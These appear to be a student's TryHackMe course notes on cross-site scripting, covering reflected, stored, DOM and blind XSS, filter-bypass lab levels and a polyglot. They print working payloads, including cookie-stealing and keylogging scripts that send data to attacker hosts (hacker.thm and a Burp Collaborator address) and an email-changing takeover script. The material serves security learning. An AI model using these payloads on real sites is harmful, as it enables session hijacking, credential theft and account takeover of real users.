THM – Cross-site scripting (XSS) – Part 10
This is my notes from the Junior Pentesting course at TryHackMe. This course takes you through the basics and some advanced topics regarding penetration testing.
XSS Payloads
What is a payload?
In XSS, the payload is the JavaScript code we wish to be executed on the target computer. There are two parts to the payload, the intention and the modification.
The intention is what you wish the JavaScript to actually, and the modification is the changes to the code we need to make it execute as every scenario is different.
Proof of Concept
This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:
<script>alert('XSS');</script>
Session Stealing
Details of a user’s session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target’s cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker’s control to be logged. Once the hacker has these cookies, they can take over the target’s session and be logged as that user.
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Key Logger
The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker’s control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Example
Use the XSS below and add a burpsuite collaborator as a PoC.
<script>function logKey(event){ fetch( "https://zqt2p7dhpu94xb0noql65tqoofu8iy6n.oastify.com/k?key=" + event.key);}document.addEventListener('keydown', logKey);</script>
Once this is posted as a stored XSS, any user that visits the website will have their keys logged and sent to burpsuite or our own webserver if we choose to go that route.
Business Logic
This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user’s email address called user.changeEmail()
. Your payload could look like this:
<script>user.changeEmail('attacker@hacker.thm');</script>
Now that the email address for the account has changed, the attacker may perform a reset password attack.
Reflected XSS
Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
Example Scenario
A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.
The application doesn’t check the contents of the error parameter, which allows the attacker to insert malicious code.
The vulnerability can be used as per the scenario in the image below:
Potential Impact
The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims getting them to execute code on their browser, potentially revealing session or customer information.
How to test for Reflected XSS
You’ll need to test every possible point of entry; these include:
- Parameters in the URL Query String
- URL File Path
- Sometimes HTTP Headers (although unlikely exploitable in practice)
Once you’ve found some data which is being reflected in the web application, you’ll then need to confirm that you can successfully run your JavaScript payload; your payload will be dependent on where in the application your code is reflected.
Stored XSS
As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.
Example Scenario
A blog website that allows users to post comments. Unfortunately, these comments aren’t checked for whether they contain JavaScript or filter out any malicious code. If we now post a comment containing JavaScript, this will be stored in the database, and every other user now visiting the article will have the JavaScript run in their browser.
Potential Impact
The malicious JavaScript could redirect users to another site, steal the user’s session cookie, or perform other website actions while acting as the visiting user.
How to test for Stored XSS
You’ll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:
- Comments on a blog
- User profile information
- Website Listings
DOM Based XSS
What is the DOM?
DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document, and this document can be either displayed in the browser window or as the HTML source. A diagram of the HTML DOM is displayed below:
Exploiting the DOM
DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.
Example Scenario
The website’s JavaScript gets the contents from the window.location.hash
parameter and then writes that onto the page in the currently being viewed section. The contents of the hash aren’t checked for malicious code, allowing an attacker to inject JavaScript of their choosing onto the webpage.
Potential Impact
Crafted links could be sent to potential victims, redirecting them to another website or steal content from the page or the user’s session.
How to test for Dom Based XSS
DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You’d need to look for parts of the code that access certain variables that an attacker can have control over, such as “window.location.x” parameters.
When you’ve found those bits of code, you’d then need to see how they are handled and whether the values are ever written to the web page’s DOM or passed to unsafe JavaScript methods such as eval().
Blind XSS
Blind XSS is similar to a stored XSS in that your payload gets stored on the website for another user to view, but in this instance, you can’t see the payload working or be able to test it against yourself first.
Example Scenario
A website has a contact form where you can message a member of staff. The message content doesn’t get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal.
Potential Impact
Using the correct payload, the attacker’s JavaScript could make calls back to an attacker’s website, revealing the staff portal URL, the staff member’s cookies, and even the contents of the portal page that is being viewed. Now the attacker could potentially hijack the staff member’s session and have access to the private portal.
How to test for Blind XSS
When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed.
A popular tool for Blind XSS attacks is xsshunter.
Perfecting your payload
Level One
Form where you enter your name:
View page source to view your name reflected in code:
Entering the following JavaScript Payload: <script>alert('THM');</script>
Click enter, get an alert popup with the string THM and the page source look like this:
Level Two
Same as above.
Name reflected in the source code:
It wouldn’t work if you were to try the previous JavaScript payload because you can’t run it from inside the input tag. Instead, we need to escape the input tag first so the payload can run properly. You can do this with the following payload: "><script>alert('THM');</script>
The important part of the payload is the ">
which closes the value parameter and then closes the input tag.
This now closes the input tag properly and allows the JavaScript payload to run:
Now when you click the enter button, you’ll get an alert popup with the string THM.
Level Three
Same as above but your name gets reflected inside an HTML tag, this time the textarea tag.
We’ll have to escape the textarea by using the following payload: </textarea><script>alert('THM');</script>
This turns this:
Into This:
The important part of the above payload is </textarea>, which causes the textarea element to close so the script will run.
Level Four
Same as above but you’ll see your name gets reflected in some JavaScript code.
You’ll have to escape the existing JavaScript command, so you’re able to run your code; you can do this with the following payload ';alert('THM');//
which you’ll see from the below screenshot will execute your code. The '
closes the field specifying the name, then ;
signifies the end of the current command, and the //
at the end makes anything after it a comment rather than executable code.
Level Five
Same as above but if you try the <script>alert(‘THM’);</script> payload, it won’t work. When you view the page source, you’ll see why.
The word script gets removed from your payload, because there is a filter that strips out any potentially dangerous words.
When a word gets removed from a string, there’s a helpful trick that you can try.
Original Payload:
<sscriptcript>alert('THM');</sscriptcript>
Text to be removed (by the filter):
<sscriptcript>alert('THM');</sscriptcript>
Final Payload (after passing the filter):
<script>alert('THM');</script>
Try entering the payload <sscriptcript>alert('THM');</sscriptcript>
and click the enter button, you’ll get an alert popup with the string THM.
Level Six
Same as level two, but the payload doesn’t work. Inspect source code:
You can see that the < and > characters get filtered out from our payload, preventing us from escaping the IMG tag. To get around the filter, we can take advantage of the additional attributes of the IMG tag, such as the onload event. The onload event executes the code of your choosing once the image specified in the src attribute has loaded onto the web page.
Let’s change our payload to reflect this /images/cat.jpg" onload="alert('THM');
and then viewing the page source, and you’ll see how this will work.
Now when you click the enter button, you’ll get an alert popup with the string THM.
Polyglots
An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you’ve just completed, and it would have executed the code successfully.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e